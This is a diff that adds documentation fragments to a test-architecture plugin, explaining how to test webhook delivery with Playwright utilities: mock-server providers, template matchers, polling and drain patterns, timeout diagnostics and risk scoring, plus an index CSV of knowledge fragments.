+Start Mockoon with an increased log limit if needed:
+
+```bash
+mockoon-cli start --data ./mockoon-config.json --max-transaction-logs 500
+```
+
+## Custom Provider
+
+Implement `WebhookProvider` for any backend that exposes a queryable request log:
+
+```typescript
+// support/providers/custom-webhook-provider.ts
+import type { WebhookProvider, ReceivedWebhook, WebhookQueryFilter } from '@seontechnologies/playwright-utils/webhook';
+import type { APIRequestContext } from '@playwright/test';
+
+export class CustomWebhookProvider implements WebhookProvider {
+  constructor(
+    private readonly baseUrl: string,
+    private readonly request: APIRequestContext,
+  ) {}
+
+  async getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]> {
+    const params = new URLSearchParams();
+    if (filter?.since) params.set('since', filter.since.toISOString());
+    if (filter?.method) params.set('method', filter.method);
+
+    const response = await this.request.get(`${this.baseUrl}/webhooks/received?${params}`);
+    const { webhooks } = await response.json();
+    return webhooks.map((w: Record<string, unknown>) => ({
+      id: String(w.id),
+      url: String(w.url),
+      method: String(w.method),
+      headers: (w.headers as Record<string, string>) ?? {},
+      body: w.body,
+      receivedAt: new Date(String(w.receivedAt)),
+    }));
+  }
+
+  async resetJournal(): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received`);
+  }
+
+  async deleteById(id: string): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received/${id}`);
+  }
+
+  async getCount(): Promise<number> {
+    const response = await this.request.get(`${this.baseUrl}/webhooks/count`);
+    const { count } = await response.json();
+    return count as number;
+  }
+}
+```
+
+## WebhookProvider Interface
+
+```typescript
+interface WebhookProvider {
+  getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]>;
+  resetJournal(): Promise<void>;
+  deleteById(id: string): Promise<void>;
+  getCount(criteria?: Record<string, unknown>): Promise<number>;
+  removeByCriteria?(criteria: Record<string, unknown>): Promise<void>;
+  setup?(): Promise<void>; // optional — called before test
+  teardown?(): Promise<void>; // optional — called after test
+}
+```
+
+## Provider Comparison
+
+| Provider                  | deleteById | resetJournal | Parallel-safe (shared journal)      | Recommended strategy                                  | API endpoint           |
+| ------------------------- | ---------- | ------------ | ----------------------------------- | ----------------------------------------------------- | ---------------------- |
+| WireMockWebhookProvider   | ✅ Yes     | ✅ Yes       | ✅ Yes (`matched-only`)             | `matched-only`                                        | `/__admin/requests`    |
+| MockServerWebhookProvider | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockserver/retrieve` |
+| MockoonWebhookProvider    | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockoon-admin/logs`  |
+| Custom                    | Depends    | Depends      | Depends on implementation           | Depends                                               | Your API               |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Full fixture wiring for each provider
+- `webhook-testing-fundamentals.md` — Cleanup strategy rationale
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-risk-guidance.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-risk-guidance.md
new file mode 100644
index 0000000..be8a20c
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-risk-guidance.md
@@ -0,0 +1,114 @@
+# Webhook Testing Risk Guidance
+
+## Principle
+
+Webhook integration points are high-risk boundaries — they represent asynchronous side effects that cross service boundaries. A missing or malformed webhook means a downstream system never received its trigger. Default risk level: **P2 × I3** (medium probability, high impact = Risk Score 6) → must be covered by integration tests.
+
+## When Webhook Tests Are Required
+
+Webhook tests are **required** (not optional) when:
+
+| Condition                                                          | Rationale                                                              |
+| ------------------------------------------------------------------ | ---------------------------------------------------------------------- |
+| Application publishes events to external subscribers               | External consumers depend on correct payload shape and delivery timing |
+| Event-driven architecture (Kafka/SQS/event bus → webhook delivery) | The delivery pipeline is a risk boundary; delivery failures are silent |
+| Payment, order, or notification side effects                       | Business-critical; missed webhooks = missed transactions               |
+| Integration with third-party services via webhooks                 | Breaking payload changes won't surface in unit or component tests      |
+| Any async side effect that a consumer polls-on or reacts-to        | Polling tests (`recurse`) can mask webhook delivery failures entirely  |
+
+## Risk Scoring
+
+```
+Risk = Probability × Impact
+
+Probability factors (P1–P3):
+  P1 (low):    Webhook system is mature, well-tested, no history of failures
+  P2 (medium): Kafka pipeline, multiple consumers, new integrations
+  P3 (high):   New delivery mechanism, external third-party webhooks, no retry logic
+
+Impact factors (I1–I3):
+  I1 (low):    Non-critical notifications (e.g. audit logs)
+  I2 (medium): Feature-level side effects (e.g. search index updates)
+  I3 (high):   Business-critical events (payments, orders, compliance)
+```
+
+Default webhook integrations: **P2 × I3 = 6** → High → must be tested.
+
+## What a Complete Webhook Test Looks Like
+
+A complete webhook test covers:
+
+1. **Happy path**: Action fires → webhook arrives with correct payload
+2. **Sequential events (drain pattern)**: Preceding event drained before asserting on next
+3. **Parallel isolation**: Template scoped by entity ID — workers don't cross-contaminate
+4. **Timeout/error shape**: `WebhookTimeoutError` tested for negative path coverage
+5. **Cleanup verification**: Fixture auto-cleans; no leaked webhooks after test
+
+**Minimal complete example** (from playwright-utils E2E suite):
+
+```typescript
+// Template factories scoped by ID — parallel safety
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  // Drain: consume the create webhook before testing the delete path
+  await webhookRegistry.waitFor(movieCreated(movieId));
+
+  await deleteMovie(authToken, movieId);
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+## Common Failure Patterns
+
+| Failure pattern                        | Root cause                                             | How the module addresses it                                                  |
+| -------------------------------------- | ------------------------------------------------------ | ---------------------------------------------------------------------------- |
+| Test passes but webhook never verified | Test asserted on status endpoint, not delivery         | `waitFor` forces assertion on actual webhook arrival                         |
+| Flaky under `fullyParallel: true`      | `full-reset` cleanup deletes another worker's webhooks | `matched-only` strategy — only matched webhooks are deleted                  |
+| Timeout gives no useful information    | No payload inspection on failure                       | `WebhookTimeoutError.receivedWebhooks` snapshot                              |
+| Template matches wrong test's webhook  | Template not scoped by entity ID                       | Template factories accept ID parameter; `matchPredicate` for complex scoping |
+| Test hangs at 30s default timeout      | Webhook not arriving; pipeline is slow                 | Use `withTimeout()` and `withInterval(500)` per template                     |
+| Journal grows unbounded                | No cleanup strategy configured                         | Configure `cleanupStrategy` in `webhookConfig`; fixture auto-cleans          |
+
+## Risk Mitigation Checklist (for TA assessment)
+
+When a system uses webhooks, verify the test suite covers:
+
+- [ ] Happy path for each event type that has an external subscriber
+- [ ] Template factories scoped by entity ID (parallel-safe)
+- [ ] Drain pattern applied to all sequential event assertions
+- [ ] Cleanup strategy matches provider capability: `matched-only` for providers that support `deleteById` (e.g. WireMock); `full-reset` with serial execution or an isolated provider instance per worker for MockServer/Mockoon
+- [ ] Timeout values appropriate for the delivery pipeline latency (Kafka pipelines need 15s+)
+- [ ] `WebhookTimeoutError` imported and tested in negative path coverage
+- [ ] Mock server (WireMock/MockServer/Mockoon) in Docker Compose / test infra
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-module-setup.md` — Fixture wiring for each provider
+- `webhook-template-matchers.md` — Template and matcher patterns
+- `risk-governance.md` — Risk scoring framework
+- `probability-impact.md` — P×I scale definitions
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-template-matchers.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-template-matchers.md
new file mode 100644
index 0000000..58d9cf7
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-template-matchers.md
@@ -0,0 +1,160 @@
+# Webhook Template Matchers
+
+## Principle
+
+Build typed templates with `webhookTemplate()` and compose matchers using `matchField`, `matchPartial`, and `matchPredicate`. All matchers on a template use AND semantics — every matcher must pass for a webhook to be considered a match. Templates are immutable value objects produced by a fluent builder.
+
+## Template Factory Pattern
+
+Define template factories as pure functions that accept a test-scoped ID. This is the key pattern for parallel isolation — each factory call produces a template bound to a specific entity:
+
+```typescript
+import { webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+// Template factories for movie webhooks
+// 15s timeout: the Kafka → HTTP webhook delivery pipeline can back up under
+// high CI concurrency (burn-in with many parallel workers). 10s was occasionally
+// not enough; 15s gives the pipeline headroom without slowing normal runs.
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+```
+
+The ID parameter scopes each template to a specific entity, preventing parallel workers from matching each other's webhooks.
+
+## Matcher Reference
+
+### matchField — dot-path exact match
+
+Traverses dot-notation paths into the payload. Never throws if the path is missing — a missing path evaluates as non-matching.
+
+```typescript
+webhookTemplate('order.created')
+  .matchField('event', 'order.created') // top-level field
+  .matchField('data.id', orderId) // nested path
+  .matchField('data.status', 'pending') // nested string value
+  .build();
+```
+
+Matcher detail output: `field(data.id=42)`
+
+### matchPartial — deep subset check
+
+Checks that the expected object is a subset of the received payload. Extra fields in the payload are ignored. Arrays use strict length matching.
+
+```typescript
+const partialTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.created.partial')
+  .matchPartial({ event: 'movie.created', data: { id: movieId } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `partial({"event":"movie.created","data":{"id":42}})`
+
+### matchPredicate — arbitrary function
+
+Accepts any `(payload: T) => boolean` function. Always requires a human-readable description string — this appears in `WebhookTimeoutError.matcherDetails` for debugging.
+
+**ID-scoped parallel isolation** (prevents cross-worker contamination in `waitForCount`):
+
+```typescript
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+```
+
+**Business data filtering**:
+
+```typescript
+const highRatingTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; rating: number };
+}>('movie.created.high-rating')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${movieId} and data.rating >= 9`, (p) => p.data.id === movieId && p.data.rating >= 9)
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `predicate(data.id is 42 and data.rating >= 9)`
+
+## Combining Matchers
+
+All matchers use AND semantics — all must pass for the webhook to match:
+
+```typescript
+// Combined field + partial: both matchers must pass
+const updateTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.updated')
+  .matchField('event', 'movie.updated')
+  .matchPartial({ data: { id: movieId, name: nameUpdate.name } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+## Per-Template Timeout and Interval
+
+Override the registry defaults on a per-template basis:
+
+```typescript
+webhookTemplate('slow.pipeline.event')
+  .matchField('event', 'slow.pipeline.event')
+  .withTimeout(60_000) // 60s for slow delivery pipelines
+  .withInterval(2_000) // poll every 2s
+  .build();
+```
+
+## clone() for Base Template Variations
+
+> **Note**: `clone()` is available on the builder but is not used in the playwright-utils E2E suite. Use it when multiple tests share the same base template with slight field variations.
+
+```typescript
+const base = webhookTemplate<OrderPayload>('order').matchField('event', 'order.completed');
+
+const forOrderA = base.clone().matchField('data.orderId', 'A').build();
+const forOrderB = base.clone().matchField('data.orderId', 'B').build();
+```
+
+## Builder API Summary
+
+| Method                      | Description                                            |
+| --------------------------- | ------------------------------------------------------ |
+| `webhookTemplate<T>(name)`  | Create a new builder with the given template name      |
+| `.matchField(path, value)`  | Add dot-path exact-match matcher                       |
+| `.matchPartial(expected)`   | Add deep-subset matcher                                |
+| `.matchPredicate(desc, fn)` | Add arbitrary predicate matcher (description required) |
+| `.withTimeout(ms)`          | Override registry default timeout                      |
+| `.withInterval(ms)`         | Override registry default poll interval                |
+| `.clone()`                  | Copy current builder state for variation               |
+| `.build()`                  | Produce the immutable `WebhookTemplate<T>` object      |
+
+## Related Fragments
+
+- `webhook-waiting-querying.md` — waitFor, waitForCount, drain pattern
+- `webhook-timeout-error.md` — Reading matcherDetails in error output
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-testing-fundamentals.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-testing-fundamentals.md
new file mode 100644
index 0000000..dfedb2d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-testing-fundamentals.md
@@ -0,0 +1,42 @@
+# Webhook Testing Fundamentals
+
+## Principle
+
+Webhook delivery is eventually consistent — your application fires HTTP callbacks asynchronously after events occur. Tests must poll until the expected webhook arrives or time out. The `@seontechnologies/playwright-utils` webhook module provides deterministic polling, typed matchers, rich timeout diagnostics, and cleanup strategies safe under `fullyParallel: true`.
+
+## Rationale
+
+Webhook tests fail for four structural reasons:
+
+- **Eventually consistent**: Webhook delivery happens asynchronously — you cannot assert immediately after triggering an event
+- **Parallel journal pollution**: When multiple workers share the same mock server, a fast worker's teardown can delete records a slow worker is still polling
+- **Opaque timeouts**: A bare timeout tells you only that the webhook didn't arrive — it shows you nothing about what did arrive
+- **Cleanup drift**: Resetting the full journal in `afterEach` creates a race condition under `fullyParallel: true`
+
+The playwright-utils approach:
+
+- **Polling via `recurse`**: Uses Playwright's `expect.poll` under the hood — retries with configurable timeout and interval until a match is found
+- **Typed matchers**: `matchField`, `matchPartial`, `matchPredicate` — all must pass (AND semantics); matchers never throw on missing paths
+- **Rich timeout errors**: `WebhookTimeoutError` carries `totalReceived`, `receivedWebhooks`, and `matcherDetails` so you can see what arrived vs. what was expected
+- **Isolation via `startedAt`**: Each `WebhookRegistry` instance records its creation timestamp; polling only fetches webhooks received after that point, preventing leakage from prior tests
+- **Two cleanup strategies**: `full-reset` (resets entire journal) and `matched-only` (deletes only matched webhooks — parallel-safe when the provider supports delete-by-ID, e.g. WireMock)
+
+## When to Use Webhook Tests
+
+| Scenario                                                          | Use webhook tests         |
+| ----------------------------------------------------------------- | ------------------------- |
+| Application publishes events to external subscribers              | ✅ Required               |
+| Event-driven architecture with Kafka/event bus → webhook delivery | ✅ Required               |
+| Payment, order, or notification side effects via webhooks         | ✅ Required               |
+| Testing that a webhook was NOT delivered                          | ✅ Verify via timeout     |
+| Polling a status endpoint for eventual consistency                | ❌ Use `recurse` directly |
+| Frontend receiving push notifications (WebSocket)                 | ❌ Different mechanism    |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Fixture wiring and cleanup strategies
+- `webhook-template-matchers.md` — matchField, matchPartial, matchPredicate
+- `webhook-waiting-querying.md` — waitFor, waitForCount, getReceived, drain pattern
+- `webhook-timeout-error.md` — WebhookTimeoutError debugging
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider
+- `webhook-risk-guidance.md` — Risk-based guidance for TA and TD capabilities
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-timeout-error.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-timeout-error.md
new file mode 100644
index 0000000..34b7b73
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-timeout-error.md
@@ -0,0 +1,130 @@
+# WebhookTimeoutError and Debugging
+
+## Principle
+
+`WebhookTimeoutError` is thrown when `waitFor` or `waitForCount` does not find a matching webhook within the configured timeout. It carries a snapshot of received webhooks from the last polling cycle — truncated to the last 10 entries — so you can inspect what arrived vs. what was expected. The full count of all received webhooks is available in `totalReceived`.
+
+## Error Properties
+
+```typescript
+class WebhookTimeoutError extends Error {
+  readonly name = 'WebhookTimeoutError';
+  readonly templateName: string; // from webhookTemplate('...')
+  readonly timeoutMs: number; // the timeout that was exceeded
+  readonly totalReceived: number; // total webhooks seen in polling window
+  readonly receivedWebhooks: ReceivedWebhook[]; // last ≤10 received webhooks
+  readonly matcherDetails: string[]; // human-readable matcher summary
+
+  toJSON(): Record<string, unknown>; // serialize all fields for CI logs
+}
+```
+
+`receivedWebhooks` is capped at the last 10 entries. If more than 10 webhooks arrived, `totalReceived` shows the full count but `receivedWebhooks` contains only the most recent 10.
+
+## Reading the Error
+
+The error message format:
+
+```
+Webhook "movie.deleted" not received within 15000ms.
+3 webhook(s) were received but none matched.
+Matchers: field(event="movie.deleted"), field(data.id=42).
+```
+
+Use `matcherDetails` to confirm the matchers were configured correctly. Use `receivedWebhooks` to inspect actual payloads — compare field paths and values against what the matchers expect.
+
+## Validating the Error Shape in Tests
+
+```typescript
+import { WebhookTimeoutError, webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+const neverArrivingTemplate = webhookTemplate('never.arrives')
+  .matchField('event', 'event.that.never.happens')
+  .withTimeout(500)
+  .withInterval(100)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(neverArrivingTemplate)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.templateName).toBe('never.arrives');
+expect(error.timeoutMs).toBe(500);
+expect(error.toJSON()).toMatchObject({
+  name: 'WebhookTimeoutError',
+  templateName: 'never.arrives',
+  timeoutMs: 500,
+  totalReceived: expect.any(Number),
+  matcherDetails: ['field(event="event.that.never.happens")'],
+});
+```
+
+## Inspecting receivedWebhooks
+
+When a webhook arrives but doesn't match, `receivedWebhooks` shows you what actually came in:
+
+```typescript
+// Wait for create webhook first — puts it in the journal
+await webhookRegistry.waitFor(movieCreated(movieId));
+
+// Wait for delete webhook that will never arrive — no delete was called
+const undeliveredDelete = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.deleted.not.delivered')
+  .matchField('event', 'movie.deleted')
+  .matchField('data.id', movieId)
+  .withTimeout(2_000)
+  .withInterval(200)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(undeliveredDelete)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.totalReceived).toBeGreaterThanOrEqual(1);
+
+// The movie.created webhook that did arrive is visible in the error
+const createdWebhook = error.receivedWebhooks.find((w) => (w.body as { data: { id: number } }).data.id === movieId);
+expect(createdWebhook).toBeDefined();
+expect((createdWebhook!.body as { event: string }).event).toBe('movie.created');
+```
+
+## Common Failure Patterns
+
+| What you see                           | Likely cause                                         | Fix                                                               |
+| -------------------------------------- | ---------------------------------------------------- | ----------------------------------------------------------------- |
+| `totalReceived: 0`                     | Webhook not delivered; wrong URL or event not firing | Check application event publishing and webhook routing            |
+| `totalReceived > 0`, none match        | Webhooks arriving but matchers not matching          | Inspect `receivedWebhooks[0].body` — check field paths and values |
+| `matcherDetails` shows wrong path      | Template factory misconfigured                       | Print `error.toJSON()` and compare paths against actual payload   |
+| `totalReceived: 0` with `matched-only` | Another worker claimed and deleted the webhook first | Ensure template is scoped by entity ID                            |
+| Parse error in body                    | Webhook body is not valid JSON                       | Check `receivedWebhooks[n].parseError` and `rawBody`              |
+
+## matcherDetails Format per Matcher Type
+
+| Matcher                         | matcherDetails string |
+| ------------------------------- | --------------------- |
+| `matchField('event', 'x')`      | `field(event="x")`    |
+| `matchPartial({ a: 1 })`        | `partial({"a":1})`    |
+| `matchPredicate('my desc', fn)` | `predicate(my desc)`  |
+
+## Import
+
+```typescript
+import { WebhookTimeoutError } from '@seontechnologies/playwright-utils/webhook';
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — matcherDetails string format per matcher type
+- `webhook-waiting-querying.md` — waitFor and waitForCount throw this error on timeout
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-waiting-querying.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-waiting-querying.md
new file mode 100644
index 0000000..7474791
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/webhook-waiting-querying.md
@@ -0,0 +1,167 @@
+# Webhook Waiting and Querying Patterns
+
+## Principle
+
+`waitFor` and `waitForCount` poll until matching webhooks arrive; `getReceived` queries without waiting. Always drain preceding events before asserting on subsequent ones. Scope templates by entity ID to prevent parallel worker cross-contamination.
+
+## Pattern Examples
+
+### Example 1: waitFor — single webhook
+
+Poll until the first webhook matching the template arrives. Returns the typed `ReceivedWebhook<T>`.
+
+```typescript
+const webhook = await webhookRegistry.waitFor(movieCreated(movieId));
+
+expect(webhook.body).toMatchObject({
+  event: 'movie.created',
+  timestamp: expect.any(String),
+  data: {
+    id: movieId,
+    name: movie.name,
+    year: movie.year,
+    rating: movie.rating,
+  },
+});
+```
+
+### Example 2: The drain pattern — sequential events
+
+When testing a downstream event (e.g. deletion), always `waitFor` the preceding event first. Without the drain, the create webhook may remain in the journal and interfere with cleanup or subsequent polling.
+
+```typescript
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  await log.step('Drain the create webhook before testing the delete path');
+  await webhookRegistry.waitFor(movieCreated(movieId)); // drain — consume the create event
+
+  await deleteMovie(authToken, movieId);
+
+  await log.step('Wait for the delete webhook');
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+**Why drain?** If you skip the drain and go directly to `waitFor(movieDeleted)`, the create webhook is already in the journal. The delete webhook may arrive and be cleaned up by another test before your poll reaches it. Draining makes the event order explicit and removes the ambiguity.
+
+### Example 3: waitForCount — collect N webhooks concurrently
+
+Collect exactly N matching webhooks. Use `matchPredicate` with all IDs to prevent cross-worker contamination when running `fullyParallel: true`:
+
+```typescript
+await log.step('Create two movies concurrently');
+const [{ body: res1 }, { body: res2 }] = await Promise.all([
+  addMovie(authToken, generateMovieWithoutId()),
+  addMovie(authToken, generateMovieWithoutId()),
+]);
+
+const [id1, id2] = [res1.data.id, res2.data.id];
+
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+
+const webhooks = await webhookRegistry.waitForCount(batchTemplate, 2);
+
+expect(webhooks).toHaveLength(2);
+const receivedIds = webhooks.map((w) => w.body.data.id);
+expect(receivedIds).toContain(id1);
+expect(receivedIds).toContain(id2);
+expect(new Set(receivedIds).size).toBe(2); // guard against the same ID delivered twice
+```
+
+### Example 4: getReceived — query without waiting
+
+Query the journal without polling. Useful for asserting presence of webhooks after a `waitFor`, or for method/URL filtering.
+
+```typescript
+await webhookRegistry.waitFor(movieCreated(movieId)); // wait first
+
+const all = await webhookRegistry.getReceived();
+expect(all.length).toBeGreaterThanOrEqual(1);
+
+// Method filter — all sample-app webhooks are delivered via POST
+const postOnly = await webhookRegistry.getReceived({ method: 'POST' });
+expect(postOnly.every((w) => w.method === 'POST')).toBe(true);
+
+// URL pattern filter — match the webhooks endpoint path
+const byUrl = await webhookRegistry.getReceived({ urlPattern: '/webhooks' });
+expect(byUrl.every((w) => w.url.includes('/webhooks'))).toBe(true);
+```
+
+`getReceived` accepts `WebhookQueryFilter`:
+
+```typescript
+type WebhookQueryFilter = {
+  urlPattern?: string; // glob or regex string
+  method?: string; // HTTP method filter
+  since?: Date; // only return webhooks after this timestamp
+};
+```
+
+Note: `getReceived` is a direct passthrough to the provider — it does **not** automatically apply the `startedAt` filter. Only `waitFor` and `waitForCount` apply the since-filter internally during polling. If you need to scope a manual `getReceived` call to this test's time window, record your own timestamp before the action under test and pass `{ since: myTimestamp }` explicitly.
+
+## Parallel Worker Safety
+
+Always scope template factories to the entity's ID:
+
+```typescript
+// ✅ Scoped — only matches webhooks for this specific movie
+const movieCreated = (movieId: number) =>
+  webhookTemplate('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId) // scoped by ID
+    .build();
+
+// ❌ Unscoped — will match any movie.created from any parallel worker
+const movieCreatedUnscoped = webhookTemplate('movie.created').matchField('event', 'movie.created').build();
+```
+
+## Method Summary
+
+| Method                      | Returns                         | Description                                                                                       |
+| --------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------- |
+| `waitFor(template)`         | `Promise<ReceivedWebhook<T>>`   | Poll until first match; throws `WebhookTimeoutError` on timeout                                   |
+| `waitForCount(template, n)` | `Promise<ReceivedWebhook<T>[]>` | Poll until N matches; throws `WebhookTimeoutError` on timeout                                     |
+| `getReceived(filter?)`      | `Promise<ReceivedWebhook[]>`    | Direct passthrough to provider — no automatic since-filter; pass `{ since }` explicitly if needed |
+| `resetJournal()`            | `Promise<void>`                 | Wipe the entire journal and clear matchedIds                                                      |
+| `cleanup()`                 | `Promise<void>`                 | Delete matched webhooks (`matched-only`) or reset journal (`full-reset`)                          |
+
+## Anti-Patterns
+
+**DON'T skip the drain for sequential events:**
+
+```typescript
+// Bad: direct jump to delete webhook — create webhook pollutes the journal
+await addMovie(authToken, movie);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+**DO drain preceding events:**
+
+```typescript
+// Good: drain create first, then wait for delete
+await webhookRegistry.waitFor(movieCreated(movieId)); // drain
+await deleteMovie(authToken, movieId);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — How to build templates
+- `webhook-timeout-error.md` — What to do when waitFor times out
+- `recurse.md` — The polling primitive used internally by the registry
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/tea-index.csv b/plugins/bmad/skills/bmad-testarch-ci/resources/tea-index.csv
new file mode 100644
index 0000000..ebd3200
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/tea-index.csv
@@ -0,0 +1,50 @@
+id,name,description,tags,tier,fragment_file
+fixture-architecture,Fixture Architecture,"Composable fixture patterns (pure function → fixture → merge) and reuse rules","fixtures,architecture,playwright,cypress",core,knowledge/fixture-architecture.md
+network-first,Network-First Safeguards,"Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking","network,stability,playwright,cypress,ui",core,knowledge/network-first.md
+data-factories,Data Factories and API Setup,"Factories with overrides, API seeding, cleanup discipline","data,factories,setup,api,backend,seeding",core,knowledge/data-factories.md
+component-tdd,Component TDD Loop,"Red→green→refactor workflow, provider isolation, accessibility assertions","component-testing,tdd,ui",extended,knowledge/component-tdd.md
+playwright-config,Playwright Config Guardrails,"Environment switching, timeout standards, artifact outputs","playwright,config,env",extended,knowledge/playwright-config.md
+ci-burn-in,CI and Burn-In Strategy,"Staged jobs, shard orchestration, burn-in loops, artifact policy","ci,automation,flakiness",extended,knowledge/ci-burn-in.md
+selective-testing,Selective Test Execution,"Tag/grep usage, spec filters, diff-based runs, promotion rules","risk-based,selection,strategy",extended,knowledge/selective-testing.md
+feature-flags,Feature Flag Governance,"Enum management, targeting helpers, cleanup, release checklists","feature-flags,governance,launchdarkly",specialized,knowledge/feature-flags.md
+contract-testing,Contract Testing Essentials,"Pact publishing, provider verification, resilience coverage","contract-testing,pact,api,backend,microservices,service-contract",specialized,knowledge/contract-testing.md
+email-auth,Email Authentication Testing,"Magic link extraction, state preservation, caching, negative flows","email-authentication,security,workflow",specialized,knowledge/email-auth.md
+error-handling,Error Handling Checks,"Scoped exception handling, retry validation, telemetry logging","resilience,error-handling,stability,api,backend",extended,knowledge/error-handling.md
+visual-debugging,Visual Debugging Toolkit,"Trace viewer usage, artifact expectations, accessibility integration","debugging,dx,tooling,ui",specialized,knowledge/visual-debugging.md
+risk-governance,Risk Governance,"Scoring matrix, category ownership, gate decision rules","risk,governance,gates",core,knowledge/risk-governance.md
+probability-impact,Probability and Impact Scale,"Shared definitions for scoring matrix and gate thresholds","risk,scoring,scale",core,knowledge/probability-impact.md
+test-quality,Test Quality Definition of Done,"Execution limits, isolation rules, green criteria","quality,definition-of-done,tests",core,knowledge/test-quality.md
+nfr-criteria,NFR Review Criteria,"Security, performance, reliability, maintainability status definitions","nfr,assessment,quality",extended,knowledge/nfr-criteria.md
